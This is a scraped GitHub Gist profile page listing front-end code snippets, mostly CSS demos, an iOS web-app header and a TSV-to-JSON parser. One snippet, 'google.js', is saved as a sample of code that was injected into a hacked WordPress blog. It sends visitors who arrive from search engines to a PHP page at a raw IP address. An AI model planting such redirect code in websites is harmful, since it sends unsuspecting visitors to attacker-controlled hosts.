Skip to content

Instantly share code, notes, and snippets.

View jalbertbowden's full-sized avatar

albert jalbertbowden

163 followers · 597 following
View GitHub Profile
@jalbertbowden
jalbertbowden / Codrops: Styling Contents of <use>.markdown
Created August 27, 2015 18:17
Codrops: Styling Contents of <use>
@jalbertbowden
jalbertbowden / Border-Is-The-Thing-That-Breaks-Select-Styling.markdown
Created February 5, 2014 17:50
A Pen by albert. sike @chriscoyier via http://codepen.io/chriscoyier/pen/pvfyt

Border Is The Thing That Breaks Select Styling

Although, you can adjust the font size a little bit.

A Pen by albert on CodePen.

License.

@jalbertbowden
jalbertbowden / iOS-7-web-app.html
Created February 6, 2014 09:29 — forked from tfausak/ios-8-web-app.html
<!doctype html>
<html>
<head>
<!-- Run in full-screen mode. -->
<meta name="apple-mobile-web-app-capable" content="yes">
<!-- Make the status bar black with white text. -->
<meta name="apple-mobile-web-app-status-bar-style" content="black">
@jalbertbowden
jalbertbowden / Food-Thumbnail-Hover-UI.markdown
Created February 10, 2014 23:00
A Pen by Dudley Storey.

Food Thumbnail Hover UI

A quick little dual transition of images on hover inside elements with border-radius. Includes a fade-in caption. Webkit transition clipping problem is addressed with an "invisible" border.

A Pen by Dudley Storey on CodePen.

License.

@jalbertbowden
jalbertbowden / tsv-to-json.js
Created February 11, 2014 06:26 — forked from iwek/tsv-to-json.js
//var tsv is the TSV file with headers
function tsvJSON(tsv){
var lines=tsv.split("\n");
var result = [];
var headers=lines[0].split("\t");
for(var i=1;i<lines.length;i++){
@jalbertbowden
jalbertbowden / State-SVG-Animate-In.markdown
Created February 11, 2014 14:07
A Pen by browniefed.

State SVG Animate In

The states are SVG Paths and using D3 they animate into place, you can adjust the original translated position to make them fly in from left, right, top, bottom, or just sort of explode in place This is a demonstration of what GoSquared.com had on their black friday site. State path data was found on their site, so props to them.

A Pen by browniefed on CodePen.

License.

@jalbertbowden
jalbertbowden / google.js
Created February 11, 2014 23:18 — forked from littleiffel/google.js
was used to hack creator's wordpress blog....only coming from google search, and only if the cookie was cleared...
var from = document.referrer;
var i;
var se = ["google", "yahoo", "bing", "yandex" , "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"];
for (i = 0; i < se.length; ++i) {
if (from.indexOf(se[i]) + 1) {
if (!checkCookie()) {
window.location = "http://91.239.15.61/g.php";
}
}
}
@jalbertbowden
jalbertbowden / client.js
Created February 25, 2014 07:34 — forked from tbranyen/client.js
(function(window, document) {
// The end user should be allowed to disable synchronization. This button
// is optional on the page
var syncAllow = true;
var syncButton = document.querySelector('.sync-button');
// If the sync button exists bind a click event and toggle the syncAllow
// boolean. Set the value of the button.
if(syncButton) {
@jalbertbowden
jalbertbowden / Creating-a-parallelogram-image-mask.markdown
Created February 26, 2014 16:03
A Pen by Paul Austin.

Creating a parallelogram image mask

Images given a parallelogram effect with 2 different techniques.

A Pen by Paul Austin on CodePen.

License.

@jalbertbowden
jalbertbowden / Quick-transform-test.markdown
Created February 26, 2014 16:04
A Pen by David Becerra.